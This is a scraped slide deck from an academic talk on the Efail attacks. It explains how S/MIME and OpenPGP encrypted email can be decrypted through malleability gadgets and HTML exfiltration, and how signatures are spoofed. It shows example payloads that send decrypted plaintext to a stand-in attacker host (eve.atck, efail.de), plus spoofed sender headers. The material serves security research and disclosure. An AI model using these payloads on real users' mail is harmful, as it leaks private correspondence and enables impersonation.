Efail attack and it its im implications Juraj Somorovsky Damian - - PowerPoint PPT Presentation

▶
efail attack and it its im implications
SMART_READER_LITE
LIVE PREVIEW

Efail attack and it its im implications Juraj Somorovsky Damian - - PowerPoint PPT Presentation

Jan 17, 2023 283 likes •1.23k views

Efail attack and it its im implications Juraj Somorovsky Damian Poddebniak 1 , Christian Dresen 1 , Jens Mller 2 , Fabian Ising 1 , Sebastian Schinzel 1 , Simon Friedberger 3 , Juraj Somorovsky 2 , Jrg Schwenk 2 About this talk Efail:

slide-1
SLIDE 1

Efail attack and it its im implications

Damian Poddebniak1, Christian Dresen1, Jens Müller2, Fabian Ising1, Sebastian Schinzel1, Simon Friedberger3, Juraj Somorovsky2, Jörg Schwenk2

Juraj Somorovsky

slide-2
SLIDE 2

About this talk

  • Efail: Breaking S/MIME and OpenPGP Email Encryption using Exfiltration
  • Channels. Damian Poddebniak, Christian Dresen, Jens Müller, Fabian Ising,

Sebastian Schinzel, Simon Friedberger, Juraj Somorovsky, Jörg Schwenk. USENIX Security 2018

  • Johnny, you are fired! Spoofing OpenPGP and S/MIME Signatures in Email. Jens

Müller, Marcus Brinkmann, Damian Poddebniak, Hanno Böck, Sebastian Schinzel, Juraj Somorovsky, Jörg Schwenk. USENIX Security 2019

slide-3
SLIDE 3

3

Email.

slide-4
SLIDE 4

Internet Message Format („Email“)

4

From: Alice To: Bob Subject: Breaking News Congratulations, you have been promoted!

slide-5
SLIDE 5

Multipurpose Internet Mail Extensions (MIME)

5

From: Alice To: Bob Subject: Breaking News Content-Type: text/plain Congratulations, you have been promoted!

slide-6
SLIDE 6

Multipurpose Internet Mail Extensions (MIME)

6

From: Alice To: Bob Subject: Breaking News Content-Type: multipart/mixed; boundary="BOUNDARY"

  • -BOUNDARY

Content-type: text/plain Congratulations, you have been promoted!

  • -BOUNDARY

Content-type: application/pdf Contract...

  • -BOUNDARY--
slide-7
SLIDE 7

smtp.corp1 av1.com archive.corp1 smtp.corp2 av2.com archive.corp2 imap.corp1 imap.corp2

slide-8
SLIDE 8

imap.corp1 smtp.corp1 av1.com archive.corp1

slide-9
SLIDE 9

10

There is no such thing as

“My Email”.

slide-10
SLIDE 10

imap.corp1 smtp.corp1 av1.com archive.corp1

Assumption: Attacker has access to emails!

slide-11
SLIDE 11

Motivation for using end-to-end encryption

Insecure Transport

  • TLS might be used – we don’t know!

Nation state attackers (see also lecture given by Tibor)

  • Massive collection of emails
  • Snowden’s global surveillance disclosure

Breach of email provider / email account

  • Single point of failure
  • Aren’t they reading/analyzing my emails anyway?

12

slide-12
SLIDE 12

Two competing standards

OpenPGP (RFC 4880)

  • Favored by privacy advocates
  • Web-of-trust (no authorities)

S/MIME (RFC 5751)

  • Favored by organizations
  • Multi-root trust-hierarchies

13

slide-13
SLIDE 13

Signed Email (S/MIME)

14

From: Alice To: Bob Subject: Breaking News Content-Type: multipart/signed; boundary="BOUNDARY“; protocol="application/pkcs7-signature“

  • -BOUNDARY

Content-type: text/plain Congratulations, you have been promoted!

  • -BOUNDARY

Content-Type: application/pkcs7-signature Content-Transfer-Encoding: base64 MIAGCSqGSIb3DQEHAqCAMIACAQExDzANBglghkgBZQMEAgEFAD… OlA9pggcyAAAAAAAAA==

  • -BOUNDARY--
slide-14
SLIDE 14

Signed Email (S/MIME)

15

From: Alice To: Bob Subject: Breaking News Content-Type: multipart/signed; boundary="BOUNDARY“; protocol="application/pkcs7-signature“

  • -BOUNDARY

Content-type: text/plain Congratulations, you have been promoted!

  • -BOUNDARY

Content-Type: application/pkcs7-signature Content-Transfer-Encoding: base64 MIAGCSqGSIb3DQEHAqCAMIACAQExDzANBglghkgBZQMEAgEFAD… OlA9pggcyAAAAAAAAA==

  • -BOUNDARY--
slide-15
SLIDE 15

Signed Email (S/MIME)

16

From: Alice To: Bob Subject: Breaking News Content-Type: multipart/signed; boundary="BOUNDARY“; protocol="application/pkcs7-signature“

  • -BOUNDARY

Content-type: text/plain Congratulations, you have been promoted!

  • -BOUNDARY

Content-Type: application/pkcs7-signature Content-Transfer-Encoding: base64 MIAGCSqGSIb3DQEHAqCAMIACAQExDzANBglghkgBZQMEAgEFAD… OlA9pggcyAAAAAAAAA==

  • -BOUNDARY--
slide-16
SLIDE 16

Signed Email (PGP)

17

From: Alice To: Bob Subject: Breaking News Content-Type: multipart/signed; boundary="BOUNDARY"; protocol="application/pgp-signature“

  • -BOUNDARY

Content-type: text/plain Congratulations, you have been promoted!

  • -BOUNDARY

Content-Type: application/pgp-signature

  • ----BEGIN PGP SIGNATURE-----

iQE/BAEBAgApBQJbW1tqIhxCcnVjZSBXYXluZSA8YnJ1Y2V3YX…

  • ----END PGP SIGNATURE-----
  • -BOUNDARY--
slide-17
SLIDE 17

Encrypted Email (PGP)

18

From: Alice To: Bob Subject: Breaking News Content-Type: multipart/encrypted; boundary="BOUNDARY"; protocol="application/pgp-encrypted";

  • -BOUNDARY

Content-Type: application/octet-stream; name="encrypted.asc" Content-Description: OpenPGP encrypted message Content-Disposition: inline; filename="encrypted.asc"

  • ----BEGIN PGP MESSAGE-----

hQIMA0Zy9l4Cw+FaAQ//YewiWjMoX2BebbwJQJMJxvHRoF30NjkZe88m9kGts/tn DgkUPQEgJJJq/K1TwyAvR8tSLq…

  • ----END PGP MESSAGE-----
  • -BOUNDARY--
slide-18
SLIDE 18

Known limitations!

Usability Snowden Effekt

Enigmail New keys at keyserver Hard for S/MIME

Opsec von Snowden und thegruq Ver- und Entschlüsselung nur in separater Anwendung!

19

New published PGP public keys per month

?

slide-19
SLIDE 19
  • https://vimeo.com/56881481
  • https://gist.github.com/grugq/03167bed45e774

551155

Some tutorials recommend using PGP outside of email client. Others recommended Enigmail in default settings (i.e. HTML switched on)

PGP and OpSec

20

slide-20
SLIDE 20

21

slide-21
SLIDE 21

Ok, so how about the security?

22 ‘06 ‘15 ‘99

slide-22
SLIDE 22

1. Breaking Email Encryption 1. Malleability Gadget Attacks on S/MIME 2. Malleability Gadget Attacks on OpenPGP 3. Direct Exfiltration Attacks 4. Responsible Disclosure 2. Breaking Email Signatures 1. UI Redressing 2. Identity Binding 3. Conclusions

Overview

23

slide-23
SLIDE 23

2014: Enigmail won’t encrypt.

24 https://sourceforge.net/p/enigmail/forum/support/thread/3e7268a4/

slide-24
SLIDE 24

25

2017: Outlook includes plaintext in encrypted email.

https://www.sec-consult.com/en/blog/2017/10/fake-crypto-microsoft-outlook-smime-cleartext-disclosure-cve-2017-11776/

slide-25
SLIDE 25

2018: Enigmail/PEP won‘t encrypt.

26

https://www.heise.de/security/meldung/c-t-deckt-auf-Enigmail-verschickt-Krypto-Mails-im-Klartext-4180405.html

slide-26
SLIDE 26

Both standards use old crypto

Ciphertext C = Enc(M) C1 valid/invalid M = Dec(C) C2 valid/invalid … (repeated several times)

Both standards use old crypto

27

slide-27
SLIDE 27

Old crypto has no negative impact

CBC / CFB modes of operation used, but their usage is not exploitable

29

Assumption: Email is non-interactive

Old crypto has no negative impact

slide-28
SLIDE 28

Backchannel

  • Any functionality that forces the email client to interact with the

network

  • HTML/CSS
  • JavaScript
  • Email header
  • Attachment preview
  • Certificate verification

30

<img src="http://efail.de"> <object data="ftp://efail.de"> <style>@import '//efail.de'</style> ... XSS cheat sheets Disposition-Notification-To: eve@evil.com Remote-Attachment-URL: http://efail.de X-Image-URL: http://efail.de … OCSP, CRL, intermediate certs PDF, SVG, VCards, etc.

slide-29
SLIDE 29

Windows Linux macOS iOS Android Webmail Webapp

Outlook IBM Notes Postbox Foxmail Live Mail Pegasus The Bat! Mulberry eM Client

Thunderbird

Evolution KMail Trojitá Claws Mutt

Apple Mail

Airmail MailMate Mail App

CanaryMail

Outlook K-9 Mail R2Mail MailDroid Nine GMail

Outlook.com

Yahoo! iCloud GMX

HushMail

Mail.ru FastMail

Roundcube

RainLoop AfterLogic

Horde IMP

ProtonMail

Mailfence Mailbox ZoHo Mail

leak by default ask user leak via bypass script execution

Backchannels found

W8Mail W10Mail WLMail

Mailpile Exchange GroupWise

Evaluation of backchannels in email clients

31

slide-30
SLIDE 30

Attacker model

32

slide-31
SLIDE 31

Attacker model

33

slide-32
SLIDE 32

1. Breaking Email Encryption 1. Malleability Gadget Attacks on S/MIME 2. Malleability Gadget Attacks on OpenPGP 3. Direct Exfiltration Attacks 4. Responsible Disclosure 2. Breaking Email Signatures 1. UI Redressing 2. Identity Binding 3. Conclusions

Overview

34

slide-33
SLIDE 33

S/MIME uses CBC

  • Cipher Block Chaining mode of operation
  • Not authenticated
  • Vulnerable to many attacks (TLS, XML Encryption, SSH)
  • Basic problem: malleability

Source: wikipedia

slide-34
SLIDE 34

Malleability of CBC

36

decryption

C1 P0

decryption

C2 P1 C0

slide-35
SLIDE 35

Malleability of CBC

37

decryption

Content-type: te

C1 P0'

decryption

xt/html\nDear Bob

C2 P1 C0'

slide-36
SLIDE 36

Malleability of CBC

38

decryption

Zontent-type: te

C1 P0'

decryption

xt/html\nDear Bob

C2 P1 C0'

slide-37
SLIDE 37

Malleability of CBC

39

C0 ⊕ P0

decryption

0000000000000000

C1 P0'

decryption

xt/html\nDear Bob

C2 P1

CBC Gadget

slide-38
SLIDE 38

Malleability of CBC

40

C0 ⊕ P0 ⊕ Pc

decryption

<img src=”ev.il/

C1 P0'

decryption

xt/html\nDear Bob

C2 P1

slide-39
SLIDE 39

Malleability of CBC

41

decryption

Content-type: te

C1' P0'

decryption

Zt/html\nDear Bob

C2 P1' C0

slide-40
SLIDE 40

Malleability of CBC

42

decryption

????????????????

C1' P0'

decryption

Zt/html\nDear Bob

C2 P1' C0

slide-41
SLIDE 41

Practical Attack against S/MIME

43

???????????????? <img " Content-type: te xt/html\nDear Sir

  • r Madam, the se

ecret meeting wi ???????????????? " src="efail.de/ ???????????????? Content-type: te xt/html\nDear Sir

  • r Madam, the se

???????????????? "> Original Crafted

slide-42
SLIDE 42

44

Practical Attack against S/MIME

slide-43
SLIDE 43

Demo

slide-44
SLIDE 44

1. Breaking Email Encryption 1. Malleability Gadget Attacks on S/MIME 2. Malleability Gadget Attacks on OpenPGP 3. Direct Exfiltration Attacks 4. Responsible Disclosure 2. Breaking Email Signatures 1. UI Redressing 2. Identity Binding 3. Conclusions

Overview

46

slide-45
SLIDE 45

OpenPGP

  • OpenPGP uses a variation of CFB-Mode
  • Uses integrity protection with MDC (Modification Detection Code)
  • Compression is enabled by default

48

Ci Pi (known) Ci+1 Pi-1

encryption encryption

X Ci

encryption

Pc (chosen)

random plaintext

? ? ? ? ? ? ? ?

encryption

slide-46
SLIDE 46

RFC4880 on Modification Detection Codes

slide-47
SLIDE 47

Defeating integrity protection

50

Vulnerable Not Vulnerable

Client Plugin (up to version) MDC Stripped MDC Incorrect SEIP -> SE

Outlook 2007 GPG4WIN 3.0.0 Outlook 2010 GPG4WIN Outlook 2013 GPG4WIN Outlook 2016 GPG4WIN Thunderbird Enigmail 1.9.9 Apple Mail (OSX) GPGTools 2018.01

MDC Stripped MDC Incorrect SEIP -> SE

slide-48
SLIDE 48

54

slide-49
SLIDE 49

55

slide-50
SLIDE 50

1. Breaking Email Encryption 1. Malleability Gadget Attacks on S/MIME 2. Malleability Gadget Attacks on OpenPGP 3. Direct Exfiltration Attacks 4. Responsible Disclosure 2. Breaking Email Signatures 1. UI Redressing 2. Identity Binding 3. Conclusions

Overview

56

slide-51
SLIDE 51

Direct exfiltration

  • This attack is possible since 2003 in Thunderbird
  • Independent of the applied encryption scheme
  • Somewhat fixable in implementation
  • But works directly in …
  • Apple Mail / Mail App
  • Thunderbird
  • Postbox
  • …
  • The standards do not give any definition for that!

57

slide-52
SLIDE 52

Encrypting Alice writes a Mail to Bob

From: Alice To: Bob Dear Bob, the meeting tomorrow will be at 9 o‘clock.

  • ----BEGIN PGP MESSAGE-----

hQIMA1n/0nhVYSIBARAAiIsX1QsH ZObL2LopVexVVZ1uvk3wieArHUg…

  • ----END PGP MESSAGE-----

Alice’s mail program encrypts the email

Direct exfiltration

58

slide-53
SLIDE 53

Original E-Mail Eve’s attack E-Mail

Content-Type: text/html <img src="http://eve.atck/ Content-Type: text/html "> From: Eve To: Bob From: Alice To: Bob

Eve modifies the email and sends it to Bob or Alice Eve captures the encrypted mail between Alice and Bob

  • ----BEGIN PGP MESSAGE-----

hQIMA1n/0nhVYSIBARAAiIsX1QsH ZObL2LopVexVVZ1uvk3wieArHUg…

  • ----END PGP MESSAGE-----

Direct exfiltration

59

slide-54
SLIDE 54

Bob’s mail program decrypts the email Decrypting Eve’s attack E-Mail

Content-Type: text/html <img src="http://eve.atck/ Content-Type: text/html "> From: Eve To: Bob

Bob’s mail program puts the clear text back into the body

  • ----BEGIN PGP MESSAGE-----

hQIMA1n/0nhVYSIBARAAiIsX1QsH ZObL2LopVexVVZ1uvk3wieArHUg…

  • ----END PGP MESSAGE-----

Dear Bob, the meeting tomorrow will be at 9 o‘clock.

Direct exfiltration

60

slide-55
SLIDE 55

Eve’s attack E-Mail

Content-Type: text/html <img src="http://eve.atck/ Content-Type: text/html "> Dear Bob, the meeting tomorrow will be at 9 o‘clock. Content-Type: text/html <img src="http://eve.atck/Dear Bob, the meeting tomorrow will be at 9 o‘clock.“> From: Eve To: Bob GET /Dear%20Bob%2C%0D%0Athe %20meeting%20tomorrow%20will %20be%20at%209%20o%E2%80%98c lock.

Eve

Direct exfiltration

61

slide-56
SLIDE 56

1. Breaking Email Encryption 1. Malleability Gadget Attacks on S/MIME 2. Malleability Gadget Attacks on OpenPGP 3. Direct Exfiltration Attacks 4. Responsible Disclosure 2. Breaking Email Signatures 1. UI Redressing 2. Identity Binding 3. Conclusions

Overview

62

slide-57
SLIDE 57

63

S/MIME OpenPGP

slide-58
SLIDE 58

Exfiltrating many emails

Recap:

  • Attacker can exfiltrate hundreds of S/MIME or OpenPGP ciphertexts

with single malicious email.

  • Victim merely needs to open the email.
  • In May 2018, two widely used clients (Apple Mail and Thunderbird)

either

  • weren‘t patched or
  • patches were insufficient

64

slide-59
SLIDE 59
slide-60
SLIDE 60

It did not work well

  • Embargo broken
  • Community angry
  • Of course, nobody read the paper
slide-61
SLIDE 61

67

slide-62
SLIDE 62

68

An independent summary of the disclosure timeline, compiled from public information.

http://flaked.sockpuppet.org/2018/05/16/a-unified-timeline.html

slide-63
SLIDE 63

Disclosure; lessons learnt

1. Stick to a 90 day disclosure deadline. 2. Be careful with disclosure pre-announcements, because:

  • People will speculate about the details and

a) underrate/overrate the risk, and b) spread false information.

  • you won‘t be in control of communicating the details.

3. Controlling information flow right after disclosure is essential.

70

Having a website with general information is necessary (logo ???)

slide-64
SLIDE 64

71

How about the countermeasures?

slide-65
SLIDE 65

S/MIME Version 4.0 (RFC 8551)

  • References EFAIL paper
  • Recommends the usage of authenticated encryption with AES-GCM

72

slide-66
SLIDE 66

S/MIME Version 4.0 (RFC 8551)

slide-67
SLIDE 67

S/MIME Version 4.0 (RFC 8551)

slide-68
SLIDE 68

OpenPGP - draft-ietf-openpgp-rfc4880bis-07

  • Deprecates Symmetrically Encrypted (SE) data packets
  • Proposes AEAD protected data packets
  • Implementations should not allow users to access erroneous data

75

slide-69
SLIDE 69

How about signatures?

  • Encrypt-then-sign?
  • Sign-then-encrypt?

…and of course, there are also different problems 

slide-70
SLIDE 70

1. Breaking Email Encryption 1. Malleability Gadget Attacks on S/MIME 2. Malleability Gadget Attacks on OpenPGP 3. Direct Exfiltration Attacks 4. Responsible Disclosure 2. Breaking Email Signatures 1. UI Redressing 2. Identity Binding 3. Conclusions

Overview

77

slide-71
SLIDE 71

Motivation

  • We already broke email encryption
  • The systems are set up;
  • Configuring S/MIME and PGP is the most challenging part of our research
  • How about email signatures?
slide-72
SLIDE 72

Attacker-controlled UI elements

slide-73
SLIDE 73

Signature Spoofing

We attack the presentation and interpretation of email signatures. We do not attack the underlying cryptography.

80

As a cryptographer, you should consider this as a neat warning that strong crypto is not everything

slide-74
SLIDE 74

Methodology

  • 25 clients
  • PGP and S/MIME
  • All major platforms
  • Developed 5 attack classes:
  • 3 common
  • 1 specific to PGP
  • 1 specific to S/MIME
  • Considered 3 forgery classes
slide-75
SLIDE 75

Forgery Classes

  • Perfect forgery

◐ Partial forgery

○ Weak forgery

82

slide-76
SLIDE 76

Forgery Classes

83

  • Perfect forgery

◐ Partial forgery

○ Weak forgery

slide-77
SLIDE 77

Forgery Classes

84

  • Perfect forgery

◐ Partial forgery

○ Weak forgery

slide-78
SLIDE 78

1. Breaking Email Encryption 1. Malleability Gadget Attacks on S/MIME 2. Malleability Gadget Attacks on OpenPGP 3. Direct Exfiltration Attacks 4. Responsible Disclosure 2. Breaking Email Signatures 1. UI Redressing 2. Identity Binding 3. Conclusions

Overview

86

slide-79
SLIDE 79

87

slide-80
SLIDE 80

88

slide-81
SLIDE 81

UI Redressing – Causes

  • HTML and CSS support in email clients
  • Security indicators in mail body
  • Often implemented by third-party plugin
  • Intuitive (signature assigned to plaintext)

89

slide-82
SLIDE 82

UI Redressing – Countermeasures

90

Enigmail < 2.0.8 Enigmail ≥ 2.0.8

slide-83
SLIDE 83

91

slide-84
SLIDE 84

1. Breaking Email Encryption 1. Malleability Gadget Attacks on S/MIME 2. Malleability Gadget Attacks on OpenPGP 3. Direct Exfiltration Attacks 4. Responsible Disclosure 2. Breaking Email Signatures 1. UI Redressing 2. Identity Binding 3. Conclusions

Overview

92

slide-85
SLIDE 85

How Is Signer Bound to Signed Content?

93

slide-86
SLIDE 86

Identity Binding Attacks

94

What could possibly go wrong?

slide-87
SLIDE 87

Identity Binding Attacks

95

Eve <eve@evil.com> From: Displayed sender Verification logic

RFC 5322 display names

slide-88
SLIDE 88

Identity Binding Attacks

96

From: manager@work.com From: eve@evil.com From: manager@work.com <eve@evil.com> Displayed sender Verification logic From: manager@work.com Sender: eve@evil.com Reply-to: manager@work.com

Multiple headers

slide-89
SLIDE 89

Identity Binding Attacks

97

From: manager@work.com [ whitespace ] <eve@evil.com> [valid signature by eve@evil.com] <eve@evil.com>

slide-90
SLIDE 90

Identity Binding Attacks – Causes & Countermeasures

  • Functional features (Sender, From) have become

security relevant

  • Explicitly showing signer details shifts problem to user

98

slide-91
SLIDE 91

99

slide-92
SLIDE 92

106

slide-93
SLIDE 93

1. Breaking Email Encryption 1. Malleability Gadget Attacks on S/MIME 2. Malleability Gadget Attacks on OpenPGP 3. Direct Exfiltration Attacks 4. Responsible Disclosure 2. Breaking Email Signatures 1. UI Redressing 2. Identity Binding 3. Conclusions

Overview

107

slide-94
SLIDE 94

Conclusions

  • Introduced malleability gadgets and backchannels
  • Self-exfiltrating plaintexts; applicable to different standards as well
  • Crypto standards need to evolve
  • Current S/MIME is broken
  • OpenPGP needs clarification
  • Signed emails have problems as well
  • Crypto standards are not only about strong cryptographic algorithms
  • Secure HTML email is challenging

108